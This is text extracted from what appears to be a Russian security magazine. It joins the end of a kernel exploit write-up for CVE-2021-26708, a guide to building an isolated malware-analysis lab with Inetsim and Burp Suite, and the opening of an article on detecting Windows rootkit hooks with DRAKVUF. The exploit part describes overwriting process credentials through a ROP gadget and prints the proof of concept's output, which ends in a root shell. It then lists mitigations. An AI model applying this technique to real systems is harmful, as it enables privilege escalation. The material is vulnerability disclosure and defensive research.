изволь ной записи ядер ной памяти. Все дело в том, что в обра зе ядра

 не наш лось ROP-гад жета, который

мог бы перек лючить ядер ный стек на кон тро лиру емую область памяти и при
этом удов летво рял бы всем огра ниче ниям при перех вате потока управле ния
через . Поэто му я нашел спо соб выпол нить про изволь ную

запись с одно го гад жета «в один выс трел». :)

vmlinuz-5.10.11-200.fc33.x86_64

skb_shared_info

В ука затель на фун кцию  записан адрес ROP-гад жета. В регис тре

 содер жится пер вый аргу мент фун кции , а имен но адрес самой

струк туры . Зна чит,  — это адрес поля 
дан ной струк туры. Гад жет копиру ет зна чение  в регистр .

В резуль тате  содер жит адрес, по которо му в памяти ядра рас положе ны

effective user ID и effective group ID, при чем из это го адре са вычита ется один
байт. Этот байт очень важен: ког да ROP-гад жет записы вает чис ло

 из регис тра  по адре су из , то еди ница не дол- 

жна попасть в  и , они дол жны быть переза писа ны нулем для под- 

нятия при виле гий.

callback
RDI callback

ubuf_info RDI + 8 ubuf_info.desc
ubuf_info.desc RDX

RDX

0x0000000000000001 RSI RDX
EUID EGID

За тем экс пло ит пов торя ет ту же про цеду ру для переза писи  и .

При виле гии в сис теме повыше ны, экс пло ит теперь выпол няет ся от поль- 
зовате ля . Это победа.

UID GID

root
Вы вод экс пло ита, который демонс три рует всю про цеду ру экс плу ата ции

уяз вимос ти :CVE-2021-26708

 

 

 

 

 

 

 

 

 

 

 

[a13x@localhost ~]$ ./vsock_pwn

 
 

=================================================
==== CVE-2021-26708 PoC exploit by a13xp0p0v ====
=================================================

 
 

 
 
 

 

[+] begin as: uid=1000, euid=1000
[+] we have 2 CPUs for racing
[+] getting ready...
[+] remove old files for ftok()
[+] spray_data at 0x7f0d9111d000
[+] userfaultfd #1 is configured: start 0x7f0d91121000, len 0x1000
[+] fault_handler for uffd 38 is ready

 
 

 
 
 

[+] stage I: collect good msg_msg locations
[+] go racing, show wins:
save msg_msg ffff9125c25a4d00 in msq 11 in slot 0
save msg_msg ffff9125c25a4640 in msq 12 in slot 1
save msg_msg ffff9125c25a4780 in msq 22 in slot 2
save msg_msg ffff9125c3668a40 in msq 78 in slot 3

 
 
 

 
 

 
 

 

[+] stage II: arbitrary free msg_msg using corrupted msg_msg
kaddr for arb free: ffff9125c25a4d00
kaddr for arb read: ffff9125c2035300
[+] adapt the msg_msg spraying payload:
msg_ptr 0x7f0d91120fd8
m_type 1337 at 0x7f0d91120fe8
m_ts 6096 at 0x7f0d91120ff0
msgseg next 0xffff9125c2035300 at 0x7f0d91120ff8
[+] go racing, show wins:

 
 

 
 

 

[+] stage III: arbitrary read vsock via good overwritten msg_msg (msq 
11)
[+] msgrcv returned 6096 bytes
[+] Found sk_memcg ffff9125c42f9000 (offset 4712 in the leaked kmem)
[+] Found owner cred ffff9125c3fd6e40 (offset 4888 in the leaked kmem)
[+] Found sock_def_write_space ffffffffab9851b0 (offset 4736 in the 
leaked kmem)
[+] Calculated kaslr offset: 2a000000

 
 

 
 
 

 
 

 
 

 
 

 
 

[+] stage IV: search sprayed skb near sk_memcg...
[+] checking possible skb location: ffff9125c42fa000
[+] stage IV part I: repeat arbitrary free msg_msg using corrupted 
msg_msg
kaddr for arb free: ffff9125c25a4640
kaddr for arb read: ffff9125c42fa030
[+] adapt the msg_msg spraying payload:
msg_ptr 0x7f0d91120fd8
m_type 1337 at 0x7f0d91120fe8
m_ts 6096 at 0x7f0d91120ff0
msgseg next 0xffff9125c42fa030 at 0x7f0d91120ff8
[+] go racing, show wins: 0 0 20 15 42 11
[+] stage IV part II: arbitrary read skb via good overwritten msg_msg (
msq 12)
[+] msgrcv returned 6096 bytes
[+] found a real skb

 
 

 
 

 
 

 
 

[+] stage V: try to do UAF on skb at ffff9125c42fa000
[+] skb payload:
start at 0x7f0d91120004
skb_shared_info at 0x7f0d91120ec4
tx_flags 0x8
destructor_arg 0xffff9125c42fa100
callback 0xffffffffab64f6d4
desc 0xffff9125c3fd6e53
[+] go racing, show wins: 15

 [+] stage VI: repeat UAF on skb at ffff9125c42fa000
[+] go racing, show wins: 0 12 13 15 3 12 4 16 17 18 9 47 5 12 13 9 13 
19 9 10 13 15 12 13 15 17 30

 
 

[+] finish as: uid=0, euid=0
[+] starting the root shell...
uid=0(root) gid=0(root) groups=0(root),1000(a13x) context=unconfined_u:
unconfined_r:unconfined_t:s0-s0:c0.c1023

ÂÎÇÌÎÆÍÛÅ ÑÐÅÄÑÒÂÀ ÏÐÅÄÎÒÂÐÀÙÅÍÈß ÀÒÀÊÈ

Су щес тву ет ряд тех нологий, которые мог ли бы пре дот вра тить экс плу ата цию
уяз вимос ти  в ядре Linux или хотя бы сде лать ее более труд- 
ной.

CVE-2021-26708

1. Экс плу ата ция дан ной уяз вимос ти невоз можна, если ядро Linux исполь зует
, так как оши боч ная

переза пись осво бож денной памяти про исхо дит через очень корот кое
вре мя пос ле сос тояния гон ки. Исто рию о моем про тоти пе

 мож но про честь в .

êà ðàí òèí äëÿ ñâî åé äèíàìè ÷åñ êîé ïàìÿòè

SLAB_QUARANTINE от дель ной статье
2. Тех нология  из пат ча grsecurity пре дот вра щает авто мати чес кую

заг рузку модулей ядра в резуль тате дей ствий неп ривиле гиро ван ных поль- 
зовате лей.

MODHARDEN

3. За пись нуля в файл  бло- 
киру ет опи сан ный метод фик сации дан ных ата кующе го в прос транс тве
ядра. Эта нас трой ка зап реща ет работу с  неп ривиле гиро- 
ван ным поль зовате лям без .

/proc/sys/vm/unprivileged_userfaultfd

userfaultfd()
SYS_CAP_PTRACE

4. За пись  в sysctl  бло киру ет утеч ку информа-
ции через ядер ный жур нал. Эта нас трой ка не дает неп ривиле гиро ван ным
поль зовате лям читать его с помощью коман ды .

1 kernel.dmesg_restrict

dmesg
5. Кон троль потока управле ния (Control Flow Integrity, CFI) мог бы помешать

мне выз вать ROP-гад жет. Тех нологии такого клас са, дос тупные для ядра
Linux, мож но най ти в моей кар те средств защиты ядра (

).
Linux Kernel

Defence Map
6. С вер сии 5.13 ядро Linux под держи вает аппа рат ную тех нологию 

, которая спо соб на обна ружить исполь- 
зование памяти пос ле осво бож дения.

ARM
Memory Tagging Extension (MTE)

7. Сов сем недав но ком пания grsecurity  опи сание тех нологии
AUTOSLAB. С ней ядро Linux выделя ет память для сво их объ ектов
в отдель ных кешах алло като ра, соз данных под каж дый тип объ екта.
Это лома ет тех нику heap spraying, которую я исполь зую в про тоти пе экс- 
пло ита.

опуб ликова ла

8. Кейс Кук отме тил, что запись  в sysctl  помеша ла бы
моей ата ке. Дей стви тель но, это прев раща ет воз можное повыше ние при- 
виле гий в ошиб ку отка за в обслу жива нии. К сло ву, я не рекомен дую вклю- 
чать  или  на сис темах в про- 
мыш ленной экс плу ата ции, потому что это соз дает высокий риск отка за
сис темы. Пре дуп режде ние ядра или oops — не такая ред кая ситу ация.
Боль ше под робнос тей мож но най ти в докумен тации моего про екта

.

1 panic_on_warn

panic_on_warn CONFIG_PANIC_ON_OOPS

kcong-hardened-check

ÇÀÊËÞ×ÅÍÈÅ

Ис сле дова ние и исправ ление уяз вимос ти  в ядре Linux, а так- 
же раз работ ка про тоти па экс пло ита для нее были инте рес ной и при этом
тяжелой работой.

CVE-2021-26708

Я смог прев ратить сос тояние гон ки с неболь шой ошиб кой дос тупа
к памяти в пол ноцен ное повыше ние при виле гий на Fedora 33 Server для архи- 
тек туры x86_64, обой дя при этом аппа рат ные средс тва защиты SMEP и SMAP.
В ходе это го иссле дова ния мне так же уда лось раз работать нес коль ко новых
тех ник для экс плу ата ции уяз вимос тей в ядре Linux.

Уве рен, что пуб ликация этой статьи полез на для сооб щес тва раз работ чиков
ядра Linux. Взгляд на сис тему со сто роны ата кующе го помога ет улуч шать
средс тва защиты. И спа сибо ком пании Positive Technologies за воз можность
сде лать это иссле дова ние.

https://a13xp0p0v.github.io/2017/03/24/CVE-2017-2636.html
https://nvd.nist.gov/vuln/detail/CVE-2021-26708
https://nvd.nist.gov/vuln/detail/CVE-2021-26708
https://a13xp0p0v.github.io/2020/11/30/slab-quarantine.html
https://github.com/a13xp0p0v/linux-kernel-defence-map
https://community.arm.com/developer/ip-products/processors/b/processors-ip-blog/posts/enhancing-memory-safety
https://www.grsecurity.net/how_autoslab_changes_the_memory_unsafety_game
https://github.com/a13xp0p0v/kconfig-hardened-check#questions-and-answers
https://nvd.nist.gov/vuln/detail/CVE-2021-26708
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ВЗЛОМ

При рас сле дова нии киберин циден тов час то при ходит ся
вскры вать вре донос ные прог раммы, изу чать их вза имо дей-
ствие с сетью и фай ловой сис темой. Резуль татом иссле- 
дова ния обыч но ста новят ся сиг натуры вре доно са и инди- 
като ры ком про мета ции (IOCs), а сам ана лиз про водит ся
в изо лиро ван ной сре де при помощи спе циаль ного инс тру- 
мен тария. О том, как устро ена такая лабора тория, мы сегод- 
ня и погово рим.

Мно гие вре доно сы вза имо дей ству ют с управля ющим сер вером, исполь зуя
про токол HTTPS, который шиф рует переда ваемые дан ные. Поэто му
в сетевом тра фике нель зя обна ружить коман ды вза имо дей ствия и отправ- 
ляемую информа цию. Ког да под рукой нет авто мати зиро ван ной песоч ницы,
но необ ходимо про ана лизи ровать HTTP- и HTTPS-зап росы, вызовы DNS
и мно гое дру гое, мож но соб рать под ходящий стенд самос тоятель но.

WARNING

Не рекомен дует ся иссле довать вре донос ные
прог раммы на рабочей опе раци онной сис теме,
пос коль ку это может при вес ти к зараже нию
машины и уте ре цен ных дан ных.

ÍÅÎÁÕÎÄÈÌÎÅ ÏÐÎÃÐÀÌÌÍÎÅ ÎÁÅÑÏÅ×ÅÍÈÅ

Для орга низа ции иссле дова тель ской лабора тории мож но исполь зовать раз- 
ный софт. Мой набор выг лядит сле дующим обра зом.
1.  — это гипер визор для нас толь ных компь юте ров,

отрасле вой стан дарт для работы с вир туаль ными машина ми.
VMware Workstation Pro

2.  или любая дру гая опе раци онная сис тема на базе ядра Linux. Я
исполь зую Kali, так как в ней по умол чанию уста нов лены необ ходимые инс- 
тру мен ты.

Kali Linux

3.  или дру гая акту аль ная вер сия Windows. Наиболь шее количес- 
тво вре донос ных фай лов раз работа но под Windows, поэто му ана лизи- 
ровать их луч ше имен но в этой опе раци онной сис теме.

Windows 10

4.  — прог рам мный про дукт, пред назна чен ный для модели рова ния
интернет-сер висов в лабора тор ных усло виях, нап ример для ана лиза
сетево го поведе ния неиз вес тных образцов вре донос ных прог рамм.

Inetsim

5.  — пол ностью нас тра иваемый набор инс тру мен тов на базе
Windows для ана лиза вре донос ных прог рамм, реаги рова ния на инци ден- 
ты, тес тирова ния на про ник новение и так далее.

FLARE VM

6.  исполь зует ся в качес тве проз рачно го прок си-сер вера с целью
ана лиза вза имо дей ствия вре донос ного фай ла по про токо лу HTTPS.
Burp Suite

7.  — инте рак тивный дизас сем блер, исполь зуемый для реверс-инжи- 
нирин га. Одно из пре иму ществ IDA — встро енный пла гин Hex Rays, а так- 
же под дер жка отладки уда лен ных при ложе ний, которая необ ходима
при ана лизе вре донос ных фай лов под Linux.

IDA Pro

ÑÎÇÄÀÍÈÅ ËÀÁÎÐÀÒÎÐÈÈ

На ша лабора тория будет работать на двух вир туаль ных машинах c IP-адре- 
сами 10.10.10.1 (Kali Linux с уста нов ленным Inetsim) и 10.10.10.2 (Windows
10 с уста нов ленным прог рам мным обес печени ем для реверс-инжи нирин га),
находя щих ся в изо лиро ван ной сети. На вир туаль ной машине Kali Linux будут
работать раз личные интернет-служ бы, а на вир туаль ной машине Windows мы
будем иссле довать вре донос ные прог раммы.

Схе ма вир туаль ной лабора тории для ана лиза вре донос ного кода

Со бирать лабора торию будем в шесть эта пов: 
1. Уста нов ка VMware Workstation Pro, соз дание вир туаль ной машины из обра- 
за Kali Linux и Windows (я исполь зую Kali Linux 2019 и Windows 10). 
2. Уста нов ка необ ходимо го ПО на вир туаль ную машину Kali Linux. 
3. Уста нов ка необ ходимо го ПО на вир туаль ную машину Windows 10. 
4. Нас трой ка изо лиро ван ной вир туаль ной сети. 
5. Нас трой ка ПО Inetsim. 
6. Тес тирова ние работос пособ ности нашей лабора тории.

ÓÑÒÀÍÎÂÊÀ INETSIM

По умол чанию в Kali Linux уже уста нов лен Inetsim, но, если ты исполь зуешь
дру гую опе раци онную сис тему на базе ядра Linux, про цесс уста нов ки очень
прост и опи сан в . Дос таточ но про читать инс трук цию для заг- 
рузки  при помощи ути литы apt либо dpkg.

до кумен тации
па кета Inetsim

ÓÑÒÀÍÎÂÊÀ ÍÅÎÁÕÎÄÈÌÎÃÎ ÏÎ ÍÀ ÂÈÐÒÓÀËÜÍÓÞ ÌÀØÈÍÓ

WINDOWS

При иссле дова нии вре донос ных фай лов необ ходимо иметь под ходящий инс- 
тру мен тарий. Я исполь зую  — набор инс тру мен тов для ста тичес- 
кого и динами чес кого ана лиза вре донос ных прог рамм.

FLARE VM

Пе ред уста нов кой нуж но раз решить вир туал ке с Windows под клю чать ся
к интерне ту, а сам про цесс выпол няет ся в нес коль ко шагов.
1. Заг ружа ем фай лы из репози тория : 

.
are-vm git clone https://

github.com/mandiant/flare-vm.git
2. От кры ваем PowerShell от име ни адми нис тра тора.
3. Раз бло киру ем уста новоч ный файл, выпол нив коман ду 

.Unblock-File .\install.ps1
4. Вклю чаем выпол нение скрип та с помощью коман ды 

.
Set-

ExecutionPolicy Unrestricted
5. Вы пол няем сце нарий уста нов щика: ..\install.ps1

Бо лее под робно уста нов ка опи сана в репози тории. Пос ле ее завер шения
на рабочем сто ле дол жен появить ся каталог , в котором содер жится

отсорти рован ный по катего риям набор ути лит.

FLARE

Так, в пап ке  лежит набор отладчи ков, в катало ге  — инс тру-
мен ты для ана лиза PE-фай лов, поз воля ющие выяв лять ком пилято ры, упа ков- 
щики или крип торы, в дирек тории , соот ветс твен но, хра нят ся

инс тру мен ты для дизас сем бли рова ния. В ком плек те пос тавки име ется бес- 
плат ная вер сия IDA, но я советую при обрести лицен зион ный про дукт. Так же
для раз работ ки YARA-пра вил рекомен дую уста новить .

Debuggers PE

Disassemblers

YARA Editor
Мно гие вре доно сы уме ют опре делять, что их пыта ются запус тить в вир- 

туаль ной сре де, и сра зу же завер шают работу. Что бы про тивос тоять это му,
необ ходимо нас тро ить вир туаль ную машину соот ветс тву ющим обра зом.
Мал варь исполь зует раз личные методы иден тифика ции вир туалок: про вер ку
иден тифика тора CPUID, про вер ку извес тных MAC-адре сов, перечис ление
имен про цес сов для обна руже ния вир туаль ной машины, а так же про вер ку
клю чей реес тра. Методы защиты от всех этих методов опи саны .здесь

ÍÀÑÒÐÎÉÊÀ ÈÇÎËÈÐÎÂÀÍÍÎÉ ÂÈÐÒÓÀËÜÍÎÉ ÑÅÒÈ

Пос ле нас трой ки вир туаль ных машин необ ходимо соз дать изо лиро ван ную
сеть, которая будет свя зывать две наши вир туал ки. Откры ваем вклад ку каж- 
дой вир туаль ной машины, перехо дим к раз делу VM → Settings → Network
Adapter и соз даем LAN Segment.

Соз дание LAN-сег мента

Нас тра иваем интерфейс на Kali Linux, уста нав лива ем IP-адрес ,

мас ка сети .

10.10.10.1
24

Нас трой ка сетево го интерфей са Kali Linux

Нас тра иваем интерфейс для Windows 10: IP-адрес , мас ка 
, основной шлюз , пред почита емый DNS-сер вер 

.

10.10.10.2 255.
255.255.0 10.10.10.1 10.
10.10.1

Нас трой ка интерфей са для Windows 10

Про веря ем дос тупность вто рой машины в нашей вир туаль ной сети:

ping 10.10.10.1 

Про вер ка работос пособ ности изо лиро ван ной сети

Продолжение статьи →

mailto:grigadan454@gmail.com
https://www.vmware.com/ru/products/workstation-pro/workstation-pro-evaluation.html
https://www.kali.org/get-kali/#kali-bare-metal
https://www.microsoft.com/ru-ru/software-download/windows10
https://www.inetsim.org/
https://github.com/fireeye/flare-vm
https://portswigger.net/burp
https://hex-rays.com/
https://www.inetsim.org/documentation.html
https://www.inetsim.org/packages.html
https://github.com/fireeye/flare-vm
https://github.com/mandiant/flare-vm
https://www.adlice.com/yaraeditor/
https://www.cynet.com/evasion-techniques/malware-anti-vm-techniques/
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ВЗЛОМ  НАЧАЛО СТАТЬИ←

ÍÀÑÒÐÎÉÊÀ ÏÎ INETSIM

Файл кон фигура ции Inetsim рас положен по пути 

. Откро ем его, что бы нас тро ить прог рамму.

/etc/inetsim/inetsim.
conf

По умол чанию Inetsim прос лушива ет толь ко . Необ ходимо сде- 
лать его дос тупным для всех машин нашей вир туаль ной сети. Для это го в кон- 
фигура ции нуж но най ти стро ку  и уста новить зна чение

.

localhost

service_bind_address
0.0.0.0

Из менение парамет ра service_bind_address

Íàñòðîéêà ñëóæáû DNS

Ус танав лива ем DNS-порт  и нас тра иваем DNS таким обра зом, что бы
любое домен ное имя раз решалось в .

53
10.10.10.1

Нас трой ка DNS-сер вера

Так же есть воз можность нас трой ки ста тичес ких DNS-записей.

Нас трой ка ста тичес ких DNS-записей

INFO

Ес ли в качес тве опе раци онной сис темы исполь- 
зует ся Ubuntu, необ ходимо отклю чить локаль ный
DNS-сер вер, который вклю чен по умол чанию.
Для это го исполь зует ся такая коман да:

$ sudo systemctl disable systemd-
resolved.service 

Íàñòðîéêà ñëóæáû HTTP

Ус танав лива ем порт прос лушива ния  и на вся кий слу чай поменя ем вер сию

HTTP.

80

Нас трой ка HTTP-служ бы

Íàñòðîéêà ñëóæáû HTTPS

В Inetsim под дер жка SSL очень огра ничен на и не поз воля ет генери ровать
сер тифика ты для каж дого хос та на лету. Она име ет толь ко один сер тификат
для хос та . Для кор рек тной нас трой ки SSL необ ходимо исполь- 
зовать  на пор те  в качес тве проз рачно го прок си. Для это го

в кон фигура ции  уста нав лива ем порт  для служ бы HTTPS.

inetsim.org
Burp Suite 443

inetsim.conf 8443

Нас трой ка служ бы HTTPS

Íàñòðîéêà Burp Suite â êà÷åñòâå ïðîçðà÷íîãî ïðîêñè-ñåðâåðà

Пе рехо дим на вклад ку Proxy → Options и уста нав лива ем порт слу шате ля 

для всех интерфей сов.

443

Нас трой ка proxy

На вклад ке Request handling ука зыва ем, на какой хост перенап равлять HTTPS-
тра фик. Мы будем переки дывать его на  (IP-адрес Inetsim) и порт

 (порт служ бы HTTPS, уста нов ленный в кон фигура ции Inetsim) и обя- 
затель но уста новим соот ветс тву ющий фла жок для под дер жки проз рачно го
прок си.

10.10.10.1
8443

Нас трой ка парамет ра Request handling

Сле дующим эта пом нуж но уста новить сер тификат Burp Suite на Windows-
машину. Для это го соз дадим прок си на пор те , что бы зай ти по HTTP

и уста новить сер тификат на хост. Пра виль ные нас трой ки прок си Burp Suite
выг лядят сле дующим обра зом.

8080

Нас трой ки прок си

На Windows 10 запус каем Internet Explorer от име ни адми нис тра тора
и перехо дим по адре су . Нажима ем над пись 

 и заг ружа ем сер тификат.

http://10.10.10.1:8080 CA 
Certificate

Ус танав лива ем сер тификат для текуще го поль зовате ля и локаль ного
компь юте ра в хра нили ще доверен ных кор невых сер тифика тов.

Ус танов ка сер тифика та

Вы бор хра нили ща сер тифика та

ÍÀÑÒÐÎÉÊÀ ÌÀÐØÐÓÒÈÇÀÖÈÈ

На вир туаль ной машине с Windows необ ходимо соз дать мар шрут, который
будет нап равлять весь сетевой тра фик на IP-адрес Inetsim (10.10.10.1). Запус- 
тим PowerShell от име ни адми нис тра тора и выпол ним сле дующую коман ду:

PS C:\Windows\System32> route ADD 0.0.0.0 MASK 255.255.255.255 10.10.
10.1

На Kali Linux с уста нов ленным Inetsim перенап равим пос тупа ющий тра фик
на интерфейс  (10.10.10.1):eth0

 nat root@kali:~# iptables -t -A PREROUTING -i eth0 -j REDIRECT 

ÒÅÑÒÈÐÎÂÀÍÈÅ ÐÀÁÎÒÎÑÏÎÑÎÁÍÎÑÒÈ

За пус каем Inetsim с помощью коман ды .root@kali:~# inetsim

За пуск ПО Inetsim

Те перь про пин гуем любой адрес.

Тес тирова ние работос пособ ности

Про веря ем работос пособ ность по про токо лу HTTPS: для это го перехо дим
на любой сайт, под держи вающий этот про токол, нап ример 

.
https://yandex.

ru

Про вер ка работы служ бы HTTPS

В отве те видим заг лушку Inetsim. Про верим, какие дан ные получе ны в Burp
Suite.

Дан ные, получен ные в Burp

На рисун ке выше виден заголо вок зап роса, в котором обна ружен GET-зап рос
к хос ту yandex.ru с иден тифика цион ной стро кой кли ент ско го при ложе ния
(User-Agent) Mozilla/5.0. В слу чае POST-зап роса ниже заголов ка мож но уви- 
деть полез ную наг рузку.

ÂÎÇÌÎÆÍÎÑÒÈ INETSIM

Не обхо димо ска зать нес коль ко слов о фай лах-заг лушках Inetsim. Как вид но
из рисун ка выше, отве том от Inetsim слу жит стра нич ка по умол чанию. Эти
стра нич ки-заг лушки рас сорти рова ны по про токо лам и хра нят ся в пап ке 

./var/lib/inetsim/

Спи сок фай лов-заг лушек для служ бы HTTP

В фай ле кон фигура ции  спи сок фай лов-заг лушек выг лядит сле- 

дующим обра зом.

inetsim.conf

Спи сок фай лов-заг лушек

Мно гие вре донос ные фай лы, преж де чем начать сетевое вза имо дей ствие
с управля ющим сер вером, про веря ют под клю чение к интерне ту. Дан ная про- 
вер ка осно выва ется на уров не опе раци онной сис темы. Для этих целей
в Windows при сутс тву ет ком понент , который сиг нализи рует поль зовате- 
лю и служ бам о дос тупнос ти выхода в интернет.

NCSI

Ал горит мы про вер ки нем ного раз лича ются в зависи мос ти от вер сии опе- 
раци онной сис темы. В Windows 7 ком понент посыла ет HTTP-зап рос по адре- 
су . Рас положен ный по это му адре су

тек сто вый файл содер жит стро ку . Далее про веря ется
работос пособ ность служ бы DNS, для чего NCSI пыта ется раз решить в IP-
адрес  имя .

http://www.msftncsi.com/ncsi.txt
Microsoft NCSI

131.107.255.255 dns.msftncsi.com
Для Windows 10 на зап рос 

 дол жен пос тупить ответ, содер жащий стро ку 

. Тог да опе раци онная сис тема счи тает, что дос туп в интернет

при сутс тву ет. Для успешно го про хож дения это го тес та необ ходимо в файл 
 добавить стро ку

 либо , а в парамет ре 

фай ла  ука зать сле дующую стро ку:

http://www.msftconnecttest.com/
connecttest.txt Microsoft 
Connect Test

/var/lib/inetsim/http/fakefiles/sample.txt
Microsoft NCSI Microsoft Connect Test dns_static

inetsim.conf

dns.msftncsi.com 131.107.255.255 

Так же в Inetsim име ется собс твен ный веб-сер вер, фай лы которо го рас- 
положе ны в катало ге . Но преж де, чем

работать с веб-сер вером, необ ходимо в фай ле кон фигура ции 

уста новить параметр  или .

/var/lib/inetsim/http/wwroot
inetsim.conf

http_fakemode no https_fakemode no

По луче ние дос тупа к https://yandex.ru/internet.gif

Inetsim сох раня ет фай лы отче тов — это тек сто вые фай лы, содер жащие
информа цию о попыт ках сетево го вза имо дей ствия. Все отче ты записы вают ся
в пап ку , дан ные post — в ./var/log/inetsim /var/lib/inetsim

INFO

А как в такой лабора тории иссле довать мал варь,
раз работан ную под Linux? Мож но добавить
еще одну вир туаль ную Linux-машину и туда уста-
новить допол нитель ный софт, но пра виль ный
под ход — исполь зовать IDA Pro и уда лен но отла- 
живать вре донос ный файл.

ÈÒÎÃÈ

Мы соб рали лабора торию для иссле дова ния вре донос ных фай лов, в которой
нас тро или эму ляцию интернет-ресур сов и уста нови ли необ ходимое прог рам- 
мное обес печение для ста тичес кого и динами чес кого ана лиза мал вари.
В сле дующей статье я рас ска жу, как, исполь зуя эту лабора торию, иссле- 
довать вре донос ные фай лы, выяв лять сетевое вза имо дей ствие и соз давать
собс твен ные сиг натуры для обна руже ния модуля в сетевом тра фике и в фай- 
ловой сис теме.

https://portswigger.net/burp
https://ru.wikipedia.org/wiki/Network_Connectivity_Status_Indicator
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ВЗЛОМ

Ча ще все го при ана лизе поведе ния подоз- 
ритель ной прог раммы наб люда ют за поль- 
зователь ским режимом, а код в ядре оста- 
ется вне поля зре ния ана лити ка. Отчасти
это пра виль но, пос коль ку боль ше все го
вре донос ной деятель нос ти ведет ся имен но
в поль зователь ском прос транс тве. Тем
не менее вре донос ный код в ядре может
нанес ти боль ше ущер ба и его слож нее
обна ружить. Одна ко это воз можно.

С появ лени ем KPP (Kernel Patch Protection, или PatchGuard), в Windows ста ло
слож нее модифи циро вать ядро без пос ледс твий. Если рань ше, нап ример,
таб лицу сис темных вызовов с целью филь тра ции сис темных вызовов перех- 
ватыва ли даже такие легитим ные прог раммы, как анти виру сы, то с появ лени- 
ем KPP это ста ло не так прос то. Тем не менее для рут китов PatchGuard
не пред став ляет осо бой угро зы, пос коль ку тех ники его обхо да мож но най ти
в откры том дос тупе, они раз вива ются и акту аль ны по сей день. В этой статье
будет рас смат ривать ся мно жес тво тех ник модифи кации ядра, вклю чая те, что
обна ружи вает PatchGuard, на при мере нового пла гина для DRAKVUF —
rootkitmon.

Мы уже нес коль ко лет раз рабаты ваем песоч ницу для рис кори енти рован- 
ной защиты, исполь зующую фрей мворк DRAKVUF. DRAKVUF — безаген тная
песоч ница, осно ван ная на биб лиоте ке LIBVMI и гипер визоре XEN. Все воз- 
можнос ти DRAKVUF реали зова ны в пла гинах. Каж дый из двад цати с лиш ним
пла гинов выпол няет опре делен ную работу: для обна руже ния дос тупа к фай- 
лам есть пла гин letracer, для трас сиров ки сис темных вызовов — пла гин
syscalls. Rootkitmon — новый пла гин, поз воля ющий отсле живать вре донос ную
активность в ядре средс тва ми DRAKVUF.

Су щес тву ет мно жес тво опре деле ний понятия «рут кит», мы же будем опи- 
рать ся на сле дующее: «компь ютер ная прог рамма, которая исполь зует
недоку мен тирован ные и (или) зап рещен ные тех ники для манипу ляции ядром
опе раци онной сис темы в сво их целях».

Продолжение статьи →



НА СТРАЖЕ ЯДРА
ОБНАРУЖИВАЕМ РУТКИТЫ С ПОМОЩЬЮ

НОВОГО ПЛАГИНА DRAKVUF

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ÒÅÕÍÈÊÈ

В «джентль мен ский набор» пла гина вхо дят воз можнос ти детек тировать сле- 
дующие типы перех ватов:

мо дифи кация кода заг ружен ных драй веров в памяти (inline-перех ваты);•
мо дифи кация таб лиц сис темных вызовов, таб лиц пре рыва ний и таб лиц
дес крип торов;

•

мо дифи кация регис тра ;• MSR LSTAR
мо дифи кация ука зате лей на фун кции , стек

;
• DRIVER_OBJECT
DEVICE_OBJECT
сок рытие про цес са из спис ка ;• EPROCESS
ре гис тра ция раз личных сис темных фун кций обратно го вызова.•

Пос коль ку рут китов нам ного мень ше, чем вре донос ного ПО в поль зователь- 
ском прос транс тве, и вре мя выпол нения образца всег да огра ничен но, умень- 
шение наг рузки пла гина на работа ющую сис тему было при ори тет ной
задачей. Для это го во мно гих слу чаях было решено све рять целос тность кри- 
тичес ких струк тур в начале ана лиза и в кон це, а не выпол нять непос редс твен- 
ный перех ват на запись стра ниц памяти.

Inline-ïåðåõâàòû

Рас смот рим самый рас простра нен ный тип перех ватов и, воз можно, самый
лег ко обна ружи ваемый — inline-перех ваты. Inline-перех ваты очень популяр ны,
и даже Microsoft пре дос тавля ет воз можность перех ватить API-биб лиоте ки,
добав ляя перед фун кци ями двух бай товый про лог вро де mov edi, edi для быс- 
тро го редак тирова ния фун кци ональ нос ти уже заг ружен ных и работа ющих
ком понен тов. Конеч но, такие перех ваты воз можны толь ко в поль зователь- 
ском режиме, а в ядре кара ются синим экра ном с кодом ошиб ки , если

PatchGuard не вык лючен.

0x109

Inline-перех ваты обыч но сос тоят из трех час тей:
под мена пер вых нес коль ких инс трук ций целевой фун кции для перенап- 
равле ния потока выпол нения на код сво его при ложе ния;

•

об работ ка целевой фун кции: изме нение парамет ров, филь тра ция, логиро- 
вание;

•

вы пол нение под менен ных инс трук ций и воз врат на ори гиналь ную фун- 
кцию.

•

Рас смот рим прос той при мер вызова  из биб лиоте ки 

. Прой дя все биб лиоте ки, в ито ге код ока жет ся в ядер ной фун кции 

. Если бы рут кит уста новил перех ват на эту фун кцию, он бы мог
выг лядеть сле дующим обра зом.

CreateFileW kernel32.
dll nt!
NtCreateFile

Схе ма сис темно го вызова

Пос коль ку код находит ся в стра ницах с пра вами толь ко на чте ние и выпол- 
нение, для записи в такие стра ницы необ ходимо либо выделить новую вир- 
туаль ную стра ницу с пра вами на запись и спро еци ровать ее на физичес кую
стра ницу, где находит ся код, либо отклю чить бит Write Protect в спе циаль ном
регис тре управле ния , что поз волит выпол нять запись в стра ницы в обход
их прав для текуще го ядра.

CR0

Струк тура регис тра управле ния CR0

Опи сание зна чения фла га Write Protect

Об наруже ние таких перех ватов сво дит ся к под сче ту кон троль ной сум мы сек- 
ций драй вера в момент начала ана лиза и перес чету, свер ке кон троль ной сум- 
мы в кон це. В отли чие от PatchGuard, который защища ет толь ко неболь шой
спи сок сис темных драй веров, мы можем про верять абсо лют но все заг ружен- 
ные драй веры из спис ка .PsLoadedModules

 — двус вязный спи сок струк тур

, опи сыва ющих заг ружен ный драй вер: его базовый

адрес, раз мер, имя, харак терис тики и про чее.

PsLoadedModules
_KLDR_DATA_TABLE_ENTRY

Двус вязный спи сок заг ружен ных модулей

Опи сание струк туры _KLDR_DATA_TABLE_ENTRY

Для перечис ления заг ружен ных модулей ядра с помощью DRAKVUF API мы
реали зова ли метод . В пла гине rootkitmon спи- 
сок  про ходит ся два раза: в начале ини циали зации пла- 

гина — для под сче та кон троль ных сумм сек ций драй веров — и в кон це —
для срав нения зна чений.

drakvuf_enumerate_drivers
PsLoadedModules

Пе речис ление и под счет кон троль ных сумм сек ций драй вера

В слу чае рас хожде ния в логе появит ся стро ка

"\Device\HarddiskVolume2\Windows\System32\explorer.exe":KiDeliverApc 
SessionID:0 PID:1968 PPID:476 Reason:"Driver section modification" 
Driver:"ntoskrnl.exe" 

Для отра бот ки в кон це ана лиза мы добав ляем перех ват час то вызыва емой
ядер ной фун кции . Пос коль ку мы заранее не зна ем, какой
поток вызовет эту фун кцию и в каком кон тек сте про цес са этот поток находил- 
